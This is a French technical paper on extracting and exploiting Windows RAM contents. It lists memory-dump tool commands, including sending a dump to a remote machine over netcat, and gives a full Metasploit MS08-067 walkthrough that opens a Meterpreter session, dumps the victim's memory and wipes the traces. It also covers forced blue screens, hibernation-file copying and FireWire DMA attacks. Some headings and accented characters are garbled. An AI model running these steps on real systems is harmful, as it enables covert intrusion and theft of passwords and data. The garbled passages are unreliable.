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1. QUELQUES MOTS SUR LƎAUTEUR 
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de DEVOTEAM. Il intervient en tant quôauditeur chez de nombreux clients afin dô®valuer le niveau de s®curit® 
de leur syst¯me dôinformation sous la forme de tests dôintrusion, audits dôarchitecture et audits de 
configuration. 
Les domaines dôactivité des clients pour lesquels il travaille sont variés : banque, assurance, énergie, luxe et 
service. 
Les projets pour lesquels il a pu travailler sont également assez larges : audits dôinfrastructure (Pare-feu, DNS, 
VOIP, GSM, etc) tests dôintrusion applicatifs (Web, Client lourd, Citrix, etc), tests dôintrusion dôinfrastructure 
(Windows, Unix, TOIP, Printer, WIFI, etc), audit de configuration (Windows, Unix, Cisco, Juniper, Checkpoint, 
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métiers. 

 
 

E-mail professionnel : arnaud.malard@devoteam.com  
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2. INTRODUCTION 

2.1. Objectif du document  

Le but de cette ®tude est de recenser et dô®valuer les diff®rentes m®thodes dôexploitation des donn®es 
rémanentes en mémoire vive. 

Tout dôabord, les diff®rentes techniques connues ¨ lôheure actuelle pour extraire la m®moire vive seront 
présentées selon les conditions dans lesquelles peut se trouver un attaquant (accès physique et logiciel 
avec privilèges élevés ou non). 

Dans un second temps, les outils dôanalyse dôimages m®moires qui me paraissent int®ressants et 
indispensables seront exposés. Ils permettent la manipulation des images extraites pour y lire des 
informations système ainsi que la conversion dans différents formats standards. 

Ensuite, des exemples de données extractibles seront listés et permettront de juger par vous-même la 
criticit® dôun acc¯s ¨ la m®moire et de ses informations sensibles stock®es. 

Enfin, des exemples de manipulation du contenu de la  m®moire permettant dôinteragir sur le système 
dôexploitation via un acc¯s possible ¨ la m®moire RAM et selon les types dôacc¯s disponibles pour un 
attaquant seront présentés.  

 

2.2. La mémoire vive selon Wikipédia  

 

é la volatilit® ®tant le point le plus important et trait® dans ce papier. 

Plus simplement : la mémoire vive contient toutes les données qui sont traitées lorsque votre machine 
est démarrée. La mémoire vive agit comme une sorte de disque dur à accès rapide et donc plus sa 
capacité est importante plus les performances de la machine sont élevées en termes de rapidité 
dôex®cution des programmes. 

 

2.3. L`hr ontqptnh rƎ`ss`ptdq Ú k` lãlnhqd uhud ? 

Plusieurs raisons môont pouss® ¨ môint®resser ¨ cet ®l®ment majeur dôune architecture syst¯me et 
celles-ci sont exposées ci-dessous. 

Contrairement au disque dur, la mémoire RAM est sollicitée pour chacune des actions réalisées sur le 
système et contient donc plus de données sensibles telles que des mots de passe saisis,  historique, des 
donn®es non maitris®es et non inscrites sur le disque duré 

Les nombreux moyens existants pour extraire la mémoire RAM en font une cible privilégiée. 
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La compromission dôun syst¯me par lôalt®ration directe de la m®moire RAM est plus discr¯te que celle 
r®alis®e par lôalt®ration des fichiers du disque dur. 

Contrairement à certains disques durs, le contenu de la m®moire RAM nôest pas chiffr®  et facilite ainsi  
lôacc¯s au syst¯me ou sa manipulation  m°me si le disque  dur est chiffr®. 

Enfin, côest un des ®l®ments majeurs dôune architecture syst¯me, il est donc humain de sôy int®resser é 
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3. M ETHODES DE RECUPERATION DE LA MEMOIRE RAM  

Ce paragraphe traite des diff®rentes m®thodes dôextraction du contenu de la m®moire vive selon la 
situation dans laquelle peut se trouver un attaquant : accès physique, accès logique, accès avec 
privilèges ®lev®s ou noné   

3.1. B`r cƎtm rxrsâld Vhmcnvr bnloqnlhr 

Il existe de nombreux  logiciels permettant l'extraction de la mémoire RAM lorsqu'une session Windows 
est démarrée et contrôlée. Les plus connus sont présentés ci-dessous et nécessitent tous les droits 
Administrateur pour s'exécuter. Evidemment, leur exécution peut être réalisée à distance via un accès 
obtenu licite (accès Netbios ou VNC par exemple) ou illicite (via une faille identifiée et exploitée) et ne 
n®cessite pas dôavoir obligatoirement un accès physique à la machine. Ils peuvent tous être placés sur 
un média amovible afin de réaliser une extraction depuis celui-ci sans qu'aucun outil ou librairie n'ait 
besoin d'être installé sur le système. 

3.1.1. Extraction l ogicielle  

 DD.EXE 

La dernière version officielle du logiciel ne supporte plus l'accès direct en RAM et une ancienne version 
doit être utilisée. Ne parvenant pas ¨ identifier un lien officiel pour t®l®charger cet outil, je lôai ¨ votre 
disposition sur mon blog : 
https://docs.google.com/leaf?id=0B_oq7opm7im8OThhOTk4MjItNjYxNS00N2U3LTllZjYtMjI2MGFkMDh
mN2Ix&hl=en  

La commande suivante génère une image de la mémoire et la stocke en local : 

dd.exe if= \ \ . \ PhysicalMemory of="c: \ image.dd" conv=noerror  

La commande suivante génère une image de la mémoire et la stocke sur une machine distante : 

dd.exe - v if= \ \ . \ PhysicalMemory of= @IP - machine - distante conv=noerror -- iport 3000 -- comp 

lznt1  

Sachant quôun serveur a ®t® lanc® sur la machine distante via lôoutil Netcat : 

nc - v - n - L - p 3000 - s @IP - machine - source -- decomp lznt1 - O h: \ servername \ filename.img ï

localwrt  

 

 MDD.EXE 

MDD.exe permet de réaliser une extraction de RAM d'une capacité de 1Go en seulement 1 min. Il peut 
être téléchargé sur le site suivant : http://sourceforge.net/projects/mdd/files/mdd/mdd-
1.3/mdd_1.3.zip/download. 

La commande suivante génère une image de la mémoire et la stocke en local : 

mdd_1.3.exe  - o image.dd  

Pour information, MDD est utilisé dans le framework « Metasploit » afin de réaliser une extraction de 
RAM d'un système compromis à distance (voir 2.1.2). 

https://docs.google.com/leaf?id=0B_oq7opm7im8OThhOTk4MjItNjYxNS00N2U3LTllZjYtMjI2MGFkMDhmN2Ix&hl=en
https://docs.google.com/leaf?id=0B_oq7opm7im8OThhOTk4MjItNjYxNS00N2U3LTllZjYtMjI2MGFkMDhmN2Ix&hl=en
http://sourceforge.net/projects/mdd/files/mdd/mdd-1.3/mdd_1.3.zip/download
http://sourceforge.net/projects/mdd/files/mdd/mdd-1.3/mdd_1.3.zip/download
http://sourceforge.net/projects/mdd/files/mdd/mdd-1.3/mdd_1.3.zip/download
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Le logiciel est compatible avec Windows 7, 2008 et les versions antérieures. 

 

 MEMORYZE 

Memoryze est un ensemble d'outils permettant la manipulation de la mémoire RAM (extraction, 
exploitation, ...). Pour réaliser une extraction, l'outil disponible est « MemoryDD.bat » et permet de 
réaliser une extraction de RAM de capacité de 1Go en 1 min 30. 

La commande suivante génère une image de la mémoire et la stocke en local : 

MemoryDD.bat ïsize 100 ïoutput image.dd  

Si aucune option nôest fournie au script alors la totalité de la RAM est extraite et stockée dans le 
répertoire « Audit\<nom-de-machine\<identifiant-unique\ ». 

La dernière version disponible du logiciel est téléchargeable sur le site suivant : 
http://www.mandiant.com/software/Memoryze.htm et compatible avec Windows 7, 2008 et les versions 
antérieures. 

 

 WIN32DD.EXE 

Win32dd est un outil développé par Matthieu Suiche et permettant de réaliser une extraction de RAM 
d'une capacité de 1Go en environ 30 secondes. Il peut être téléchargé sur le site suivant : 
http://moonsols.com/blog/2-blog/9-moonsols-windows-memory-toolkit. 

La commande suivante génère une image de la mémoire et la stocke en local : 

Win32dd.exe  /r /f image.dd  

Si vous souhaitez générer une image exploitable par le débogueur « Windbg », lancez la commande 
suivante : 

Win32dd.exe  /d /f image.dd  

Lôoutil comporte de nombreuses autres options int®ressantes telles que la cr®ation dôimage de la RAM 
sous diff®rents formats (Crash Dump, Hibernation) ou lôextraction ¨ distance é nôh®sitez pas ¨ lôessayer. 

Par exemple, la commande suivante génère une image de la mémoire et la stocke sur une machine 
distante : 

win32dd.exe /t @IP- machine - distante /c 2  /p 6666  

Sachant quôun serveur a ®t® lanc® sur la machine distante : 

win32dd.exe /l /p 6666 /f test.dmp  

  

http://www.mandiant.com/software/Memoryze.htm
http://moonsols.com/blog/2-blog/9-moonsols-windows-memory-toolkit
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3.1.2. Extraction de la mémoire via le Framework Metasploit  

Comme pr®cis® pr®c®demment, lôextraction au niveau logiciel ne nécessite pas obligatoirement un accès 
physique ¨ la machine et le FrameWork Metasploit a mis en îuvre un plugin automatisant lôextraction ¨ 
distance. 

3.1.2.1. Généralité  

Si vous avez identifié une vulnérabilité sur un système Windows permettant lôex®cution de code ¨ 
distance et dont lôexploit est disponible sur la plateforme dôattaque Metasploit 
[http://www.metasploit.com], il est possible dôen extraire la m®moire RAM ¨ distance. 

Quelque soit la vulnérabilit® identifi®e, vous aurez tout dôabord besoin de r®cup®rer les scripts et 
exécutables suivants : 

 mdd.exe : à positionner dans le répertoire « data » du programme Metasploit de la machine 
attaquante 

 memdump.rb : à positionner dans le répertoire « scripts/meterpreter » du programme Metasploit 

de la machine attaquante [http://www.darkoperator.com/meterpreter/memdump.rb] 

Le premier est un exécutable qui, une fois déposé et exécuté sur la machine victime, permettra 
lôextraction de la m®moire RAM.  

Le deuxième est un script Ruby permettant de positionner automatiquement « mdd.exe » sur la victime, 
de lôex®cuter ¨ distance, transmettre le r®sultat ¨ la machine attaquante et supprimer les traces sur la 
machine victime. 

3.1.2.2. Dwdlokd cƎtshkhr`shnm 

Le cas concret présenté ci-dessous permet lôextraction ¨ distance de la m®moire RAM via lôexploitation 
dôune r®cente vuln®rabilit® d®couverte (MS08-067). 

1) Lancez tout dôabord la console metasploit via la commande « msfconsole » 

sudoman@Sud0man- Laptop:~/Secu/xploit/trunk$ ./msfconsole  

____________  

< metasploit >  

 ------------   

       \    ,__,  

        \   (oo)____  

           (__)    ) \  

              || -- || *  

       =[ msf v3.3 - dev  

+ --  -- =[ 359 exploits -  233 payloa ds  

+ --  -- =[ 20 encoders -  7 nops  

       =[ 132 aux  

2) Choisissez lôexploit nomm® : « windows/smb/ms08_067_netapi » 

msf > use  windows/smb/ms08_067_netapi  

3) Choisissez le payload  « Meterpreter » (en bind ou reverse selon les possibilités) 

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp  

PAYLOAD => windows/meterpreter/bind_tcp  

http://www.metasploit.com/
http://www.darkoperator.com/meterpreter/memdump.rb
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4) Choisissez lôadresse IP de la machine attaquante ainsi que celle de la machine victime 

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.2  

LHOST => 192.168.1.2  

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.3  

RHOST => 192.168.1.3  

LHOST ®tant lôadresse IP de la machine locale attaquante et RHOST la machine cible victime. 

5) Lancez lôexploit et donc la console Meterpreter 

msf exploit(ms08_067_netapi) > exploit  

 

[*] Started bind handler  

[*] Automatically detecting the target...  

[*] Fingerprint: Windows XP Service Pack 2 -  lang:French  

[*] Selected Target: Windows XP SP2 French (NX)  

[*] Triggering the vulnerability...  

[*] Transmit ting intermediate stager for over - sized stage...(191 bytes)  

[*] Sending stage (2650 bytes)  

[*] Sleeping before handling stage...  

[*] Uploading DLL (75787 bytes)...  

[*] Upload completed.  

[*] Meterpreter session 1 opened (192.168.1.2:37489 - > 192.168.1.3:444 4)  

6) Depuis la console Meterpreter, exécutez le script « memdump » 

meterpreter > run memdump  

[*] Running Meterpreter Memory Dump Script.....  

[*] Uploading mdd for dumping targets memory....  

[*] mdd uploaded as C: \ WINDOWS\ TEMP\ 75966.exe  

[*] Dumping target memory to C: \ WINDOWS\ TEMP\ 12701.........  

[*] Finnished dumping target memory  

[*] Deleting mdd.exe from target...  

[*] mdd.exe deleted  

[*] Downloading memory image to /home/sudoman/.msf3/logs/memdump/192.168.1.312701  

[*] Finnished downloading memory image  

[*] Deleting left over files...  

[*] Memory image on target deleted  

La totalité de la mémoire (256 Mo dans ce cas) a été extraite et son contenu a été copié sur la machine 
attaquante dans le répertoire « ~/.msf3/logs/memdump ». 
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Les traces sont effacées automatiquement de la machine victime et permet donc de rendre relativement 
discrète cette attaque. 

 

3.1.3. Extraction au niveau Noyau  

L'API « NtSystemeDebugControl() » permet de réaliser des tâches de débogage au niveau Noyau. 
L'outil « memimager.exe » disponible sur le site suivant : http://ntsecurity.nu/toolbox/memimager utilise 
cette API. 

La commande suivante permet la g®n®ration dôune image m®moire de 2Go : 

memimager.exe 2000 image.dd  

L'utilisation de cette API n'est par contre plus autorisée depuis Windows 2003 SP1 et une alternative est 
possible en exploitant une vulnérabilité dans la Virtual DOS Machine (VDM). Ce « Proof of the Concept » 
est décrit par Alex Lonescu et disponible à l'adresse suivante : http://recon.cx/en/f/aionescu-subverting-
w2k3-kernel-integrity-protection.ppt 

 

3.1.4. Extraction via le port série  

Une machine tournant sous le système Windows bénéficiant d'un port série et sur laquelle un compte 
valide a été obtenu, est susceptible d'avoir une mémoire RAM lisible depuis un poste connecté par le 
biais de ce port. Lôoutil ç windbg», utilisé pour le débogage Windows, est disponible sur le site de 
Microsoft et permet de lire, par exemple, les processus actifs et éventuellement d'en modifier les 
propri®t®s. Lôint®r°t majeur de cette m®thode nôest pas de lire la m®moire RAM mais dôen modifier son 
®tat et donc la possibilit® dô®lever des privil¯ges syst¯mes. Ce cas est pr®sent® dans la suite de ce 
papier. 

http://ntsecurity.nu/toolbox/memimager
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
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3.2. Dwoknhs`shnm cƎtm ¨ Crash  » Windows  

Lorsque le syst¯me est configur® dôune certaine mani¯re (voir plus bas), un processus sp®cifique ¨ 
Windows, et nommé « CrashDump », est lancé automatiquement lorsque le système Windows tente de 
lire ou écrire dans une zone de mémoire non autorisée. Cela se traduit par le fameux « blue screen ». 

 

Le CrashDump est en réalité une copie automatique de la mémoire RAM sur le disque dur système 
(« C:\Windows\MEMORY.DMP ») à l'instant où le système a planté et permet en général de déboguer le 
système pour connaître la raison de l'erreur système.   Évidemment,  nous verrons par la suite qu'il est 
possible d'exploiter cette extraction à des fins malicieuses... 

Au lieu d'attendre qu'un « crash » se réalise pour récupérer le fichier en question, Nirsoft a développé un 
outil permettant de faire planter manuellement le système, « StartBlueScreen.exe » est disponible à 
lôadresse suivante : http://www.nirsoft.net/utils/start_blue_screen.html.  

La commande suivante permet de générer un « blue screen ». 

StartBlueScreen.exe 0x10 0x1111 0x2222 0x3333 0x4444  

Si lôattaquant a physiquement acc¯s ¨ la machine cible et quôaucune possibilit® sôoffre ¨ lui pour sôy 
introduire par le biais dôun logiciel il peut extraire le disque dur et le connecter sur une autre machine afin 
dôy r®cup®rer lô®ventuelle image g®n®r®e par un pr®c®dent CrashDump. Cette hypoth¯se est 
parfaitement plausible ®tant donn® que le fichier dôimage g®n®r® nôest pas effac® automatiquement par le 
système et que côest ¨ lôutilisateur de le supprimer manuellement, chose qui est rarement faiteé Alors, 
é prenez 5 minutes pour aller jeter un îil sur votre PC pour voir si vous faites parti de cette 
cat®gorieé J 

Evidemment le degr® dôinformations recueillies dans lôimage g®n®r®e d®pend des param¯tres fix®s sur le 
système et accessibles depuis « Propriétés Système > Démarrage et récupération » : 
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En effet, une image partielle de la m®moire fournira moins dôinformations quôune image compl¯te et sera 
donc moins pertinente pour un attaquant. 
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3.3. Dwoknhs`shnm cƎtm ehbghdq cƎghadqm`shnm Vhmcnvr 

Lorsqu'un système Windows est mis en veille prolongée ou en hibernation, un fichier « hiberfil.sys », 
correspondant approximativement à l'image de la mémoire RAM (seules les pages mémoires utilisées 
étant sauvegardées et les données sont compressées), est sauvegardé automatiquement à la racine de 
la partition système (généralement C:\) afin de conserver lô®tat du syst¯me ¨ restaurer lors du r®veil du 
système. 

 

Une hibernation peut °tre lanc®e ¨ travers lôinterface Windows suivante : 

 

3.3.1. Attaque physique  

Si un attaquant a physiquement acc¯s ¨ la machine cible et quôaucune possibilit® sôoffre ¨ lui pour sôy 
introduire par le biais dôun logiciel, il peut extraire le disque dur pour le connecter sur une autre machine 
afin dôy r®cup®rer le fichier en question. 

Le fait d'enlever le disque dur d'une machine en hibernation ne la perturbera en aucun cas et celle-ci 
pourra restaurer normalement son état suite à la réinsertion du disque. Nous verrons par la suite qu'il est 
possible d'exploiter le contenu du fichier d'hibernation afin d'en extraire des informations sensibles mais 
aussi d'en modifier le contenu dans le but par exemple de d®verrouiller la session ou dô®lever ses 
privilèges systèmes. 

3.3.2. Attaque logique  

Dôun point de vue logiciel, lorsquôune machine est d®marr®e alors quôelle ®tait pr®c®demment en 
hibernation, il nôest pas possible ¨ premi¯re vue, m°me avec les droits syst¯mes, de copier un fichier 
« hiberfil.sys » vers un quelconque emplacement, Windows interdisant la manipulation des fichiers en 
cours dôutilisation. 

 

Des outils tels que HoBoCopy 
[http://sourceforge.net/project/showfiles.php?group_id=117783&package_id=204974] permettent de 
lever cette restriction et de r®aliser la copie des fichiers syst¯mes en cours dôutilisation. 

http://sourceforge.net/project/showfiles.php?group_id=117783&package_id=204974
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Ainsi le fichier « hiberfil.sys » peut être extrait depuis un accès logique afin dô°tre exploit®. 

 

Il est important de pr®ciser que les droits requis pour copier le fichier syst¯me sont ceux dôadministration. 

3.3.3. Bnmchshnm cƎdwsq`bshnm 

Il est important de savoir que même si la machine est arrêtée (et non en hibernation) et que la mise en 
veille prolong®e a d®j¨ ®t® lanc®e au moins une fois, alors le fichier dôhibernation sera toujours pr®sent 
et pourra être récupéré. En effet, le fichier « hiberfil.sys » est présent sur la partition système tant que la 
fonction dôhibernation est activée (option « powercfg /hibernate on » ou paramètre « Activer la mise en 
veille prolongée » disponible dans « Panneau de configuration > Propriétés des Options 
dôalimentation »). Evidemment la validité des informations contenues dans le fichier peut ne plus être 
dôactualit® si lôhibernation nôa pas ®t® lanc®e r®cemment é 
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3.4. Extraction via un accès direct à la mémoire (DMA)  

Lôattaque consiste ¨ exploiter le fait que la communication entre un p®riph®rique Firewire et une machine 
ne comporte aucune sécurité car les données transitant à travers le bus Firewire ne passent pas par le 
microprocesseur pour des raisons de performance. De ce fait, le périphérique en question peut alors 
contrôler les accès en mémoire de la machine et donc y lire ou écrire le contenu.  

 

De nombreux articles disponibles sur Internet ont ®t® ®crits sur ce sujet et lôint®r°t de cette partie nôest 
pas dôexpliquer ¨ nouveau cette attaque mais dôexpliquer comment lôexploiter techniquement. 

Son principe consiste donc à faire passer la machine pirate pour un périphérique de stockage Firewire 
aux yeux de la victime. Lôutilisation de p®riph®riques Firewire étant « plug and play è, lôinstallation se 
r®alise automatiquement sans intervention de lôutilisateur même lorsque la session de la machine est 
verrouillée (ou lorsquôelle vient dô°tre d®marr®e). 

La machine pirate doit tout dôabord fonctionner sous le syst¯me dôexploitation Linux et les ®l®ments 
suivants doivent être installés : 

 Librairies 1394 : [http://www.kernel.org/pub/linux/libs/ieee1394/libraw1394-1.3.0.tar.gz] [Installation :  

ñ./configure;make;make dev;make installò] 

 Outil de développement « Swig » 

 Interpréteur « python2.x » ainsi que les librairies de développement « python2.x-dev » 

 Packages comportant les outils de manipulation de mémoire 
[http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz] 

Ensuite, les modifications suivantes doivent être apportées : 

 Modifiez la localisation de lôinterpr®teur Python dans les fichiers ç Makefile », « romtool », 
« businfo ». 

 Localisez la librairie « raw1394.h » (« /usr/local/include/libraw1394/ ») et commentez toutes les 
chaînes « __attribute__ ((deprecated)) ;» via « // è. Nôoubliez pas dôajouter un ç ; » sur les lignes 
précédentes. 

 Vérifiez que le chemin de la librairie « raw1394.h » est correctement indiqué dans le 
« Makefile » et dans le cas contraire faite la modification nécessaire dans le « Makefile ». 

 Lancez la commande  « make » depuis afin de générer les librairies indispensables au 
lancement des outils dôattaques (raw1394.py, _raw1394.so). 

Le module gérant le Firewire « raw1394 » doit être chargé : 

sudo modprobe raw1394  

http://www.kernel.org/pub/linux/libs/ieee1394/libraw1394-1.3.0.tar.gz
http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz

























































































































